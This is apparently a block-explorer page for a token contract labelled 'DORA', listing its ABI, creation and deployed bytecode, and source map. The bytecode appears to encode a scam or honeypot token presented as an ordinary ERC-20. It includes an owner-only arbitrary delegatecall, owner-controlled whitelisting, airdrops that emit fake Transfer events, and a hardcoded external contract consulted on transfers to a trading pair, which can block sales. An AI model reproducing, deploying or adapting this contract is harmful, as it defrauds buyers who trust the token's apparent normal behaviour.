bility":"view","type":"function"},{"inputs":[],"name":"paid","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"stateMutability":"payable","type":"receive"}]

Contract Creation Code

Decompile Bytecode Switch to Opcodes View

608060408190526002805460ff19169055620010f838819003908190833981810160405260a08110156200003257600080fd5b81019080805160405193929190846401000000008211156200005357600080fd5b9083019060208201858111156200006957600080fd5b82516401000000008111828201881017156200008457600080fd5b82525081516020918201929091019080838360005b83811015620000b357818101518382015260200162000099565b50505050905090810190601f168015620000e15780820380516001836020036101000a031916815260200191505b50604052602001805160405193929190846401000000008211156200010557600080fd5b9083019060208201858111156200011b57600080fd5b82516401000000008111828201881017156200013657600080fd5b82525081516020918201929091019080838360005b83811015620001655781810151838201526020016200014b565b50505050905090810190601f168015620001935780820380516001836020036101000a031916815260200191505b50604081815260208301519083015160609093018051919593949293929184640100000000821115620001c557600080fd5b908301906020820185811115620001db57600080fd5b8251866020820283011164010000000082111715620001f957600080fd5b82525081516020918201928201910280838360005b83811015620002285781810151838201526020016200020e565b5050505091909101604052505060028054610100600160a81b03191633610100021790555050845162000263906009906020880190620004c5565b50835162000279906008906020870190620004c5565b50600783905560068290556200028f8162000335565b50620002b073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc230620003c1565b600380546001600160a01b0319166001600160a01b039290921691909117905533600081815260208181526040808320805460ff1916600117905560075460048352818420819055815190815290517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3505050505062000561565b60025460009061010090046001600160a01b031633146200035557600080fd5b60005b8251811015620003bb576002805460ff1916600117905582516000908490839081106200038157fe5b6020908102919091018101516001600160a01b0316600090815260019182905260409020805460ff19168217905591909101905062000358565b50919050565b6000806000836001600160a01b0316856001600160a01b031610620003e8578385620003eb565b84845b604080516001600160601b0319606094851b81166020808401919091529390941b9093166034840152805160288185030181526048840182528051908301207fff0000000000000000000000000000000000000000000000000000000000000060688501527f5c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f0000000000000000000000006069850152607d8401527f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f609d808501919091528151808503909101815260bd909301905281519101209250505092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200050857805160ff191683800117855562000538565b8280016001018555821562000538579182015b82811115620005385782518255916020019190600101906200051b565b50620005469291506200054a565b5090565b5b808211156200054657600081556001016200054b565b610b8780620005716000396000f3fe6080604052600436106100c65760003560e01c806370a082311161007f578063a9059cbb11610059578063a9059cbb14610325578063aa2f522014610351578063d6d2b6ba146103f6578063dd62ed3e146104ae576100da565b806370a082311461023a5780638da1cc6b1461026d57806395d89b4114610310576100da565b806306fdde03146100e9578063095ea7b31461017357806318160ddd146101b357806323b872dd146101da578063295b4e1714610210578063313ce56714610225576100da565b366100da576002805460ff19166001179055005b6002805460ff19166001179055005b3480156100f557600080fd5b506100fe6104e9565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610138578181015183820152602001610120565b50505050905090810190601f1680156101655780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61019f6004803603604081101561018957600080fd5b506001600160a01b038135169060200135610577565b604080519115158252519081900360200190f35b3480156101bf57600080fd5b506101c86105dd565b60408051918252519081900360200190f35b61019f600480360360608110156101f057600080fd5b506001600160a01b038135811691602081013590911690604001356105e3565b34801561021c57600080fd5b5061019f610775565b34801561023157600080fd5b506101c861077e565b34801561024657600080fd5b506101c86004803603602081101561025d57600080fd5b50356001600160a01b0316610784565b61019f6004803603602081101561028357600080fd5b81019060208101813564010000000081111561029e57600080fd5b8201836020820111156102b057600080fd5b803590602001918460208302840111640100000000831117156102d257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610796945050505050565b34801561031c57600080fd5b506100fe61081e565b61019f6004803603604081101561033b57600080fd5b506001600160a01b038135169060200135610879565b61019f6004803603604081101561036757600080fd5b81019060208101813564010000000081111561038257600080fd5b82018360208201111561039457600080fd5b803590602001918460208302840111640100000000831117156103b657600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295505091359250610886915050565b6104ac6004803603604081101561040c57600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561043757600080fd5b82018360208201111561044957600080fd5b8035906020019184600183028401116401000000008311171561046b57600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061097d945050505050565b005b3480156104ba57600080fd5b506101c8600480360360408110156104d157600080fd5b506001600160a01b0381358116916020013516610a3f565b6008805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561056f5780601f106105445761010080835404028352916020019161056f565b820191906000526020600020905b81548152906001019060200180831161055257829003601f168201915b505050505081565b3360008181526005602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60075481565b6000816105f25750600161076e565b336001600160a01b0385161480159061061b57503260009081526020819052604090205460ff16155b1561067b576001600160a01b038416600090815260056020908152604080832033845290915290205482111561065057600080fd5b6001600160a01b03841660009081526005602090815260408083203384529091529020805483900390555b6001600160a01b0384166000908152600460205260409020548211156106a057600080fd5b6001600160a01b03808516600090815260046020908152604080832080548790039055928616825260019052205460ff16806106f457506001600160a01b03841660009081526001602052604090205460ff165b156107015750600161076e565b61070c848484610a5c565b6001600160a01b038481166000818152600460209081526040918290208054958803909501909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35060015b9392505050565b60025460ff1681565b60065481565b60046020526000908152604090205481565b60025460009061010090046001600160a01b031633146107b557600080fd5b60005b8251811015610818576002805460ff1916600117905582516000908490839081106107df57fe5b6020908102919091018101516001600160a01b0316600090815260019182905260409020805460ff1916821790559190910190506107b8565b50919050565b6009805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561056f5780601f106105445761010080835404028352916020019161056f565b600061076e3384846105e3565b60025460009061010090046001600160a01b031633146108a557600080fd5b825133600090815260046020526040902054908302908111156108c757600080fd5b336000908152600460205260408120805483900390555b84518110156109725760008582815181106108f557fe5b6020908102919091018101516001600160a01b038116600081815260048452604080822080548b01905581855290819020805460ff1916600117905580518981529051929450909233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3506001016108de565b506001949350505050565b60025461010090046001600160a01b0316331461099957600080fd5b816001600160a01b0316816040518082805190602001908083835b602083106109d35780518252601f1990920191602091820191016109b4565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610a33576040519150601f19603f3d011682016040523d82523d6000602084013e610a38565b606091505b5050505050565b600560209081526000928352604080842090915290825290205481565b60025460009060ff168015610a7e57506003546001600160a01b038481169116145b8015610aa357506001600160a01b03841660009081526020819052604090205460ff16155b15610b475760035460408051632f8e517960e21b81523060048201526001600160a01b03909216602483015260448201849052517394518091b09fcb3aff8376e2b78ed35af4c1b0089163be3945e49160648083019260209291908290030181600087803b158015610b1457600080fd5b505af1158015610b28573d6000803e3d6000fd5b505050506040513d6020811015610b3e57600080fd5b5051905061076e565b506000939250505056fea2646970667358221220c11717192a5a2dd7a0aa5b11d0b5f3b29f30768151af00a01d80671b639c2aba64736f6c634300060c003300000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000000d3c21bcecceda1000000000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000000000004444f524100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f646f7261666163746f72792e6f7267000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000007a3a69b600899f525259f9e35c0e17183fed8e1f0000000000000000000000006eda344de0ff95233ef0c97ed1cf8c9762a88602

Deployed Bytecode

0x6080604052600436106100c65760003560e01c806370a082311161007f578063a9059cbb11610059578063a9059cbb14610325578063aa2f522014610351578063d6d2b6ba146103f6578063dd62ed3e146104ae576100da565b806370a082311461023a5780638da1cc6b1461026d57806395d89b4114610310576100da565b806306fdde03146100e9578063095ea7b31461017357806318160ddd146101b357806323b872dd146101da578063295b4e1714610210578063313ce56714610225576100da565b366100da576002805460ff19166001179055005b6002805460ff19166001179055005b3480156100f557600080fd5b506100fe6104e9565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610138578181015183820152602001610120565b50505050905090810190601f1680156101655780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61019f6004803603604081101561018957600080fd5b506001600160a01b038135169060200135610577565b604080519115158252519081900360200190f35b3480156101bf57600080fd5b506101c86105dd565b60408051918252519081900360200190f35b61019f600480360360608110156101f057600080fd5b506001600160a01b038135811691602081013590911690604001356105e3565b34801561021c57600080fd5b5061019f610775565b34801561023157600080fd5b506101c861077e565b34801561024657600080fd5b506101c86004803603602081101561025d57600080fd5b50356001600160a01b0316610784565b61019f6004803603602081101561028357600080fd5b81019060208101813564010000000081111561029e57600080fd5b8201836020820111156102b057600080fd5b803590602001918460208302840111640100000000831117156102d257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610796945050505050565b34801561031c57600080fd5b506100fe61081e565b61019f6004803603604081101561033b57600080fd5b506001600160a01b038135169060200135610879565b61019f6004803603604081101561036757600080fd5b81019060208101813564010000000081111561038257600080fd5b82018360208201111561039457600080fd5b803590602001918460208302840111640100000000831117156103b657600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295505091359250610886915050565b6104ac6004803603604081101561040c57600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561043757600080fd5b82018360208201111561044957600080fd5b8035906020019184600183028401116401000000008311171561046b57600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061097d945050505050565b005b3480156104ba57600080fd5b506101c8600480360360408110156104d157600080fd5b506001600160a01b0381358116916020013516610a3f565b6008805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561056f5780601f106105445761010080835404028352916020019161056f565b820191906000526020600020905b81548152906001019060200180831161055257829003601f168201915b505050505081565b3360008181526005602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60075481565b6000816105f25750600161076e565b336001600160a01b0385161480159061061b57503260009081526020819052604090205460ff16155b1561067b576001600160a01b038416600090815260056020908152604080832033845290915290205482111561065057600080fd5b6001600160a01b03841660009081526005602090815260408083203384529091529020805483900390555b6001600160a01b0384166000908152600460205260409020548211156106a057600080fd5b6001600160a01b03808516600090815260046020908152604080832080548790039055928616825260019052205460ff16806106f457506001600160a01b03841660009081526001602052604090205460ff165b156107015750600161076e565b61070c848484610a5c565b6001600160a01b038481166000818152600460209081526040918290208054958803909501909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35060015b9392505050565b60025460ff1681565b60065481565b60046020526000908152604090205481565b60025460009061010090046001600160a01b031633146107b557600080fd5b60005b8251811015610818576002805460ff1916600117905582516000908490839081106107df57fe5b6020908102919091018101516001600160a01b0316600090815260019182905260409020805460ff1916821790559190910190506107b8565b50919050565b6009805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561056f5780601f106105445761010080835404028352916020019161056f565b600061076e3384846105e3565b60025460009061010090046001600160a01b031633146108a557600080fd5b825133600090815260046020526040902054908302908111156108c757600080fd5b336000908152600460205260408120805483900390555b84518110156109725760008582815181106108f557fe5b6020908102919091018101516001600160a01b038116600081815260048452604080822080548b01905581855290819020805460ff1916600117905580518981529051929450909233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3506001016108de565b506001949350505050565b60025461010090046001600160a01b0316331461099957600080fd5b816001600160a01b0316816040518082805190602001908083835b602083106109d35780518252601f1990920191602091820191016109b4565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610a33576040519150601f19603f3d011682016040523d82523d6000602084013e610a38565b606091505b5050505050565b600560209081526000928352604080842090915290825290205481565b60025460009060ff168015610a7e57506003546001600160a01b038481169116145b8015610aa357506001600160a01b03841660009081526020819052604090205460ff16155b15610b475760035460408051632f8e517960e21b81523060048201526001600160a01b03909216602483015260448201849052517394518091b09fcb3aff8376e2b78ed35af4c1b0089163be3945e49160648083019260209291908290030181600087803b158015610b1457600080fd5b505af1158015610b28573d6000803e3d6000fd5b505050506040513d6020811015610b3e57600080fd5b5051905061076e565b506000939250505056fea2646970667358221220c11717192a5a2dd7a0aa5b11d0b5f3b29f30768151af00a01d80671b639c2aba64736f6c634300060c0033

Deployed Bytecode Sourcemap

23494:4147:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;26537:4;:11;;-1:-1:-1;;26537:11:0;26544:4;26537:11;;;23494:4147;;26488:4;:11;;-1:-1:-1;;26488:11:0;26495:4;26488:11;;;23494:4147;27115:18;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23736:210;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;23736:210:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;27082:26;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;24098:590;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;24098:590:0;;;;;;;;;;;;;;;;;:::i;25881:24::-;;;;;;;;;;;;;:::i;27052:23::-;;;;;;;;;;;;;:::i;26925:45::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;26925:45:0;-1:-1:-1;;;;;26925:45:0;;:::i;26673:244::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;26673:244:0;;-1:-1:-1;26673:244:0;;-1:-1:-1;;;;;26673:244:0:i;27140:20::-;;;;;;;;;;;;;:::i;23954:136::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;23954:136:0;;;;;;;;:::i;24696:483::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;24696:483:0;;-1:-1:-1;;24696:483:0;;;-1:-1:-1;24696:483:0;;-1:-1:-1;;24696:483:0:i;26559:106::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;26559:106:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;26559:106:0;;-1:-1:-1;26559:106:0;;-1:-1:-1;;;;;26559:106:0:i;:::-;;26977:66;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;26977:66:0;;;;;;;;;;:::i;27115:18::-;;;;;;;;;;;;;;;-1:-1:-1;;27115:18:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;23736:210::-;23836:10;23809:4;23826:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;23826:30:0;;;;;;;;;;;:38;;;23880:36;;;;;;;23809:4;;23826:30;;23836:10;;23880:36;;;;;;;;-1:-1:-1;23934:4:0;23736:210;;;;:::o;27082:26::-;;;;:::o;24098:590::-;24185:4;24206:10;24202:32;;-1:-1:-1;24227:4:0;24220:11;;24202:32;24248:10;-1:-1:-1;;;;;24248:18:0;;;;;;:44;;-1:-1:-1;24282:9:0;24271:10;:21;;;;;;;;;;;;;24270:22;24248:44;24244:173;;;-1:-1:-1;;;;;24317:15:0;;;;;;:9;:15;;;;;;;;24333:10;24317:27;;;;;;;;:36;-1:-1:-1;24317:36:0;24309:45;;;;;;-1:-1:-1;;;;;24369:15:0;;;;;;:9;:15;;;;;;;;24385:10;24369:27;;;;;;;:36;;;;;;;24244:173;-1:-1:-1;;;;;24435:15:0;;;;;;:9;:15;;;;;;:24;-1:-1:-1;24435:24:0;24427:33;;;;;;-1:-1:-1;;;;;24471:15:0;;;;;;;:9;:15;;;;;;;;:24;;;;;;;24510:13;;;;;-1:-1:-1;24510:13:0;;;;;;;:32;;-1:-1:-1;;;;;;24527:15:0;;;;;;:9;:15;;;;;;;;24510:32;24506:54;;;-1:-1:-1;24553:4:0;24546:11;;24506:54;24596:20;24600:4;24606:2;24610:5;24596:3;:20::i;:::-;-1:-1:-1;;;;;24570:13:0;;;;;;;:9;:13;;;;;;;;;:47;;24588:28;;;24570:47;;;;;;24633:25;;;;;;;24570:13;;24633:25;;;;;;;;;;;;;-1:-1:-1;24676:4:0;24098:590;;;;;;:::o;25881:24::-;;;;;;:::o;27052:23::-;;;;:::o;26925:45::-;;;;;;;;;;;;;:::o;26673:244::-;23702:5;;26745:4;;23702:5;;;-1:-1:-1;;;;;23702:5:0;23688:10;:19;23680:28;;;;;;26767:9:::1;26762:148;26786:3;:10;26782:1;:14;26762:148;;;26818:4;:11:::0;;-1:-1:-1;;26818:11:0::1;26825:4;26818:11;::::0;;26857:6;;26818:4:::1;::::0;26857:3;;26861:1;;26857:6;::::1;;;;;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;26878:13:0::1;;::::0;;;26894:4:::1;26878:13:::0;;;;;;;:20;;-1:-1:-1;;26878:20:0::1;::::0;::::1;::::0;;26798:3;;;::::1;::::0;-1:-1:-1;26762:148:0::1;;;;26673:244:::0;;;:::o;27140:20::-;;;;;;;;;;;;;;;-1:-1:-1;;27140:20:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23954:136;24023:4;24047:35;24060:10;24072:2;24076:5;24047:12;:35::i;24696:483::-;23702:5;;24786:4;;23702:5;;;-1:-1:-1;;;;;23702:5:0;23688:10;:19;23680:28;;;;;;24827:10;;24866::::1;24803:13;24856:21:::0;;;:9:::1;:21;::::0;;;;;24819:18;;::::1;::::0;24856:30;-1:-1:-1;24856:30:0::1;24848:39;;;::::0;::::1;;24908:10;24898:21;::::0;;;:9:::1;:21;::::0;;;;:30;;;;::::1;::::0;;24939:211:::1;24963:3;:10;24959:1;:14;24939:211;;;24995:10;25008:3;25012:1;25008:6;;;;;;;;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;25029:13:0;::::1;;::::0;;;:9:::1;:13:::0;;;;;;:22;;;::::1;::::0;;25066:14;;;;;;;:21;;-1:-1:-1;;25066:21:0::1;-1:-1:-1::0;25066:21:0::1;::::0;;25107:31;;;;;;;25008:6;;-1:-1:-1;25029:13:0;;25116:10:::1;::::0;25107:31:::1;::::0;;;;;;;;::::1;-1:-1:-1::0;24975:3:0::1;;24939:211;;;-1:-1:-1::0;25167:4:0::1;::::0;24696:483;-1:-1:-1;;;;24696:483:0:o;26559:106::-;23702:5;;;;;-1:-1:-1;;;;;23702:5:0;23688:10;:19;23680:28;;;;;;26640:1:::1;-1:-1:-1::0;;;;;26640:14:0::1;26655:1;26640:17;;;;;;;;;;;;;;;;;;;::::0;;;;-1:-1:-1;;26640:17:0;;;;::::1;::::0;;::::1;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;26559:106:::0;;:::o;26977:66::-;;;;;;;;;;;;;;;;;;;;;;;;:::o;25187:251::-;25281:4;;25257:7;;25281:4;;:17;;;;-1:-1:-1;25295:3:0;;-1:-1:-1;;;;;25289:9:0;;;25295:3;;25289:9;25281:17;:38;;;;-1:-1:-1;;;;;;25303:16:0;;:10;:16;;;;;;;;;;;;;25302:17;25281:38;25277:135;;;25389:3;;25343:57;;;-1:-1:-1;;;25343:57:0;;25382:4;25343:57;;;;-1:-1:-1;;;;;25389:3:0;;;25343:57;;;;;;;;;;;25581:42;;25343:30;;:57;;;;;;;;;;;;;;-1:-1:-1;25581:42:0;25343:57;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;25343:57:0;;-1:-1:-1;25336:64:0;;25277:135;-1:-1:-1;25429:1:0;25187:251;;;;;:::o

Swarm Source

ipfs://c11717192a5a2dd7a0aa5b11d0b5f3b29f30768151af00a01d80671b639c2aba

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.

Tools & Services

Token

Overview

Max Total Supply

Holders

Market

Onchain Market Cap

Circulating Supply Market Cap

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder

Balance

Value

Similar Match Source Code This contract matches the deployed Bytecode of the Source Code for Contract 0xDbC1d04D...a3887B10b The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Source Code (Solidity)

Contract Security Audit

Contract ABI

Contract Creation Code

Deployed Bytecode

Deployed Bytecode Sourcemap

Swarm Source

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0xDbC1d04D...a3887B10b
The constructor portion of the code might be different and could alter the actual behaviour of the contract